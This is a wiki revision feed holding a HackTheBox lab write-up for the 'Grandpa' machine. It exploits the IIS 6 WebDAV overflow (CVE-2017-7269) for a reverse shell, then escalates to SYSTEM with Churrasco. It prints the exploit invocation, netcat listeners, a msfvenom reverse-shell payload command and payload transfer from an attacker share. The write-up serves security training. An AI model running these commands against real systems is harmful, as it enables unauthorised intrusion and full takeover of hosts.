<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FGrandpa</id>
	<title>Write-ups/HTB/Grandpa - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FGrandpa"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Grandpa&amp;action=history"/>
	<updated>2026-04-21T15:22:47Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Grandpa&amp;diff=1193&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 11:19, 25 February 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Grandpa&amp;diff=1193&amp;oldid=prev"/>
		<updated>2022-02-25T11:19:17Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Grandpa&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = IIS 6 BOF, Token Kidnapping&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-18.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This box was similar to Grandma, where I abused a BOF in IIS 6 and got a shell. Since this is a windows server 2003 I used token kidnapping to escalate my privileges.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/grandpa]&lt;br /&gt;
└─# cat nmap.ver&lt;br /&gt;
# Nmap 7.92 scan initiated Thu Feb  3 13:35:28 2022 as: nmap -p- -sC -sV --min-rate 10000 -oN nmap.ver 10.10.10.14&lt;br /&gt;
Nmap scan report for 10.10.10.14&lt;br /&gt;
Host is up (0.037s latency).&lt;br /&gt;
Not shown: 65534 filtered tcp ports (no-response)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
80/tcp open  http    Microsoft IIS httpd 6.0&lt;br /&gt;
|_http-title: Under Construction&lt;br /&gt;
|_http-server-header: Microsoft-IIS/6.0&lt;br /&gt;
| http-methods:&lt;br /&gt;
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH&lt;br /&gt;
| http-webdav-scan:&lt;br /&gt;
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK&lt;br /&gt;
|   Server Type: Microsoft-IIS/6.0&lt;br /&gt;
|   WebDAV type: Unknown&lt;br /&gt;
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH&lt;br /&gt;
|_  Server Date: Thu, 03 Feb 2022 18:37:44 GMT&lt;br /&gt;
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only one port open.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Port 80 and its running IIS httpd 6.0.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A quick google search we find that IIS verison 6 is ran on Windows server 2003.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Davtest ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From the NMAP result we can see http methods we can use. I&amp;#039;ll use davtest to see if I have any command execution by uloading an executable. See my writeup for Granny to read more about davtest.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/grandpa]&lt;br /&gt;
└─# davtest -url 10.10.10.14&lt;br /&gt;
********************************************************&lt;br /&gt;
 Testing DAV connection&lt;br /&gt;
OPEN            SUCCEED:                10.10.10.14&lt;br /&gt;
********************************************************&lt;br /&gt;
NOTE    Random string for this session: UuwCtDTwSW9w3m&lt;br /&gt;
********************************************************&lt;br /&gt;
 Creating directory&lt;br /&gt;
MKCOL           FAIL&lt;br /&gt;
********************************************************&lt;br /&gt;
 Sending test files&lt;br /&gt;
PUT     jsp     FAIL&lt;br /&gt;
PUT     shtml   FAIL&lt;br /&gt;
PUT     php     FAIL&lt;br /&gt;
PUT     html    FAIL&lt;br /&gt;
PUT     txt     FAIL&lt;br /&gt;
PUT     asp     FAIL&lt;br /&gt;
PUT     jhtml   FAIL&lt;br /&gt;
PUT     pl      FAIL&lt;br /&gt;
PUT     cgi     FAIL&lt;br /&gt;
PUT     aspx    FAIL&lt;br /&gt;
PUT     cfm     FAIL&lt;br /&gt;
&lt;br /&gt;
********************************************************&lt;br /&gt;
/usr/bin/davtest Summary:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
All the test failed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vulnerability ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
IIS 6 is vulnerable to buffer overflow in the ScStoragePathFromUrl function in the WebDAV service. The vulnerability allows us to get remote code execution via a long header starting with. &amp;quot;If: &amp;lt;http://&amp;quot; in a PROPFIND request. And since we are allowed to use HTTP PROPFIND request, as we saw from the NMAP result, we can get remote code execution.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;PROPFIND — used to retrieve properties, stored as XML, from a web resource.&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use [https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269/blob/master/iis6%20reverse%20shell this] script to get a reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell as nt authority\network service ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start a netcat listener and execute the script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
￢ﾔﾌ￢ﾔﾀ￢ﾔﾀ(root￰ﾟﾒﾀkali)-[/home/￢ﾀﾦ/Desktop/HTB/grandpa/iis6-exploit-2017-CVE-2017-7269]&lt;br /&gt;
￢ﾔﾔ￢ﾔﾀ# python2 exploit.py 10.10.10.14 80 10.10.14.3 4444                                                                                                                                  130 ￢ﾨﾯ&lt;br /&gt;
PROPFIND / HTTP/1.1&lt;br /&gt;
Host: localhost&lt;br /&gt;
Content-Length: 1744&lt;br /&gt;
If:  (Not )&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# rlwrap nc -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.14] 1030&lt;br /&gt;
Microsoft Windows [Version 5.2.3790]&lt;br /&gt;
(C) Copyright 1985-2003 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\network service&lt;br /&gt;
&lt;br /&gt;
c:\windows\system32\inetsrv&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumerate machine ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll do some basic enumeration to see what I&amp;#039;m working with. I always start with &amp;#039;&amp;#039;&amp;#039;systeminfo &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;whoami /priv&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
whoami /priv&lt;br /&gt;
&lt;br /&gt;
PRIVILEGES INFORMATION&lt;br /&gt;
----------------------&lt;br /&gt;
&lt;br /&gt;
Privilege Name                Description                               State&lt;br /&gt;
============================= ========================================= ========&lt;br /&gt;
SeAuditPrivilege              Generate security audits                  Disabled&lt;br /&gt;
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled&lt;br /&gt;
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled&lt;br /&gt;
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled&lt;br /&gt;
SeImpersonatePrivilege        Impersonate a client after authentication Enabled&lt;br /&gt;
SeCreateGlobalPrivilege       Create global objects                     Enabled&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Host Name:                 GRANPA&lt;br /&gt;
OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition&lt;br /&gt;
OS Version:                5.2.3790 Service Pack 2 Build 3790&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Server&lt;br /&gt;
OS Build Type:             Uniprocessor Free&lt;br /&gt;
Registered Owner:          HTB&lt;br /&gt;
Registered Organization:   HTB&lt;br /&gt;
Product ID:                69712-296-0024942-44782&lt;br /&gt;
Original Install Date:     4/12/2017, 5:07:40 PM&lt;br /&gt;
System Up Time:            0 Days, 0 Hours, 6 Minutes, 0 Seconds&lt;br /&gt;
System Manufacturer:       VMware, Inc.&lt;br /&gt;
System Model:              VMware Virtual Platform&lt;br /&gt;
System Type:               X86-based PC&lt;br /&gt;
Processor(s):              1 Processor(s) Installed.&lt;br /&gt;
                           [01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1999 Mhz&lt;br /&gt;
BIOS Version:              INTEL  - 6040000&lt;br /&gt;
Windows Directory:         C:\WINDOWS&lt;br /&gt;
System Directory:          C:\WINDOWS\system32&lt;br /&gt;
Boot Device:               \Device\HarddiskVolume1&lt;br /&gt;
System Locale:             en-us;English (United States)&lt;br /&gt;
Input Locale:              en-us;English (United States)&lt;br /&gt;
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk&lt;br /&gt;
Total Physical Memory:     1,023 MB&lt;br /&gt;
Available Physical Memory: 802 MB&lt;br /&gt;
Page File: Max Size:       2,470 MB&lt;br /&gt;
Page File: Available:      2,339 MB&lt;br /&gt;
Page File: In Use:         131 MB&lt;br /&gt;
Page File Location(s):     C:\pagefile.sys&lt;br /&gt;
Domain:                    HTB&lt;br /&gt;
Logon Server:              N/A&lt;br /&gt;
Hotfix(s):                 1 Hotfix(s) Installed.&lt;br /&gt;
                           [01]: Q147222&lt;br /&gt;
Network Card(s):           N/A&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is, as we mentioned earlier, a Windows Server 2003 machine, running on 32-bit system. There is only one patched installed. So lets grab the info and run &amp;#039;&amp;#039;&amp;#039;Windows Exploit Suggester. &amp;#039;&amp;#039;&amp;#039;WES is a local exploit suggester that list vulnerabilites based on the systeminfo.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Windows Exploit Suggester ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/opt/Windows-Exploit-Suggester]&lt;br /&gt;
└─# python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
[*] initiating winsploit version 3.3...&lt;br /&gt;
[*] database file detected as xls or xlsx based on extension&lt;br /&gt;
[*] attempting to read from the systeminfo input file&lt;br /&gt;
[+] systeminfo input file read successfully (ascii)&lt;br /&gt;
[*] querying database file for potential vulnerabilities&lt;br /&gt;
[*] comparing the 1 hotfix(es) against the 356 potential bulletins(s) with a database of 137 known exploits&lt;br /&gt;
[*] there are now 356 remaining vulns&lt;br /&gt;
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin&lt;br /&gt;
[+] windows version identified as &amp;#039;Windows 2003 SP2 32-bit&amp;#039;&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important&lt;br /&gt;
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-070: Vulnerability in TCP/IP Could Allow Elevation of Privilege (2989935) - Important&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35936/ -- Microsoft Windows Server 2003 SP2 - Privilege Escalation, PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer &amp;lt;= 11 - OLE Automation Array Remote Code Execution (#1), PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer &amp;lt; 11 - OLE Automation Array Remote Code Execution (MSF), MSF&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-062: Vulnerability in Message Queuing Service Could Allow Elevation of Privilege (2993254) - Important&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/34112/ -- Microsoft Windows XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation, PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/34982/ -- Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-040: Vulnerability in Ancillary Function Driver (AFD) Could Allow Elevation of Privilege (2975684) - Important&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39525/ -- Microsoft Windows 7 x64 - afd.sys Privilege Escalation (MS14-040), PoC&lt;br /&gt;
[*]   https://www.exploit-db.com/exploits/39446/ -- Microsoft Windows - afd.sys Dangling Pointer Privilege Escalation (MS14-040), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-035: Cumulative Security Update for Internet Explorer (2969262) - Critical&lt;br /&gt;
[E] MS14-029: Security Update for Internet Explorer (2962482) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/34458/&lt;br /&gt;
[*]&lt;br /&gt;
[E] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical&lt;br /&gt;
[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important&lt;br /&gt;
[E] MS14-002: Vulnerability in Windows Kernel Could Allow Elevation of Privilege (2914368) - Important&lt;br /&gt;
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important&lt;br /&gt;
[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical&lt;br /&gt;
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical&lt;br /&gt;
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical&lt;br /&gt;
[M] MS13-071: Vulnerability in Windows Theme File Could Allow Remote Code Execution (2864063) - Important&lt;br /&gt;
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical&lt;br /&gt;
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical&lt;br /&gt;
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical&lt;br /&gt;
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical&lt;br /&gt;
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical&lt;br /&gt;
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP &amp;amp; EMET 5., PoC&lt;br /&gt;
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP &amp;amp; EMET 5.0 Bypass (MS12-037), PoC&lt;br /&gt;
[*]&lt;br /&gt;
[M] MS11-080: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2592799) - Important&lt;br /&gt;
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important&lt;br /&gt;
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important&lt;br /&gt;
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical&lt;br /&gt;
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important&lt;br /&gt;
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical&lt;br /&gt;
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical&lt;br /&gt;
[M] MS09-065: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (969947) - Critical&lt;br /&gt;
[M] MS09-053: Vulnerabilities in FTP Service for Internet Information Services Could Allow Remote Code Execution (975254) - Important&lt;br /&gt;
[M] MS09-020: Vulnerabilities in Internet Information Services (IIS) Could Allow Elevation of Privilege (970483) - Important&lt;br /&gt;
[M] MS09-004: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420) - Important&lt;br /&gt;
[M] MS09-002: Cumulative Security Update for Internet Explorer (961260) (961260) - Critical&lt;br /&gt;
[M] MS09-001: Vulnerabilities in SMB Could Allow Remote Code Execution (958687) - Critical&lt;br /&gt;
[M] MS08-078: Security Update for Internet Explorer (960714) - Critical&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell as NT AUTHORITY\SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see from the output &amp;#039;&amp;#039;&amp;#039;whoami /priv &amp;#039;&amp;#039;&amp;#039;the user have &amp;#039;&amp;#039;&amp;#039;SeImpersonatePrivilege &amp;#039;&amp;#039;&amp;#039;enabled. On modern machines before Windows 2019/10 we can juse JuicyPotato, newer is RoguePotato, but in this instance I&amp;#039;ll use [https://github.com/Re4son/Churrasco Churrasco].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So first I copye the binary over to the target machine and generate a msfvenom payload and also transfer that over to the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/grandpa/iis6-exploit-2017-CVE-2017-7269]&lt;br /&gt;
└─# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a netcat listener and execute the command on the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd C:\WINDOWS\TEMP&lt;br /&gt;
&lt;br /&gt;
copy \\10.10.14.18\share\shell.exe .&lt;br /&gt;
copy \\10.10.14.18\share\shell.exe .&lt;br /&gt;
        1 file(s) copied.&lt;br /&gt;
&lt;br /&gt;
\\10.10.14.18\share\churrasco.exe shell.exe&lt;br /&gt;
\\10.10.14.18\share\churrasco.exe shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/grandpa]&lt;br /&gt;
└─# rlwrap nc -lvnp 5555&lt;br /&gt;
listening on [any] 5555 ...&lt;br /&gt;
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.14] 1055&lt;br /&gt;
Microsoft Windows [Version 5.2.3790]&lt;br /&gt;
(C) Copyright 1985-2003 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Allowing insecure HTTP methods could allow us to abuse the machine, as we did in this instance. * Windows server 2003 is no extremly old and out of date, so it goes with out saying that noe one should use that OS, especially if there are any internet facing application running on it.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>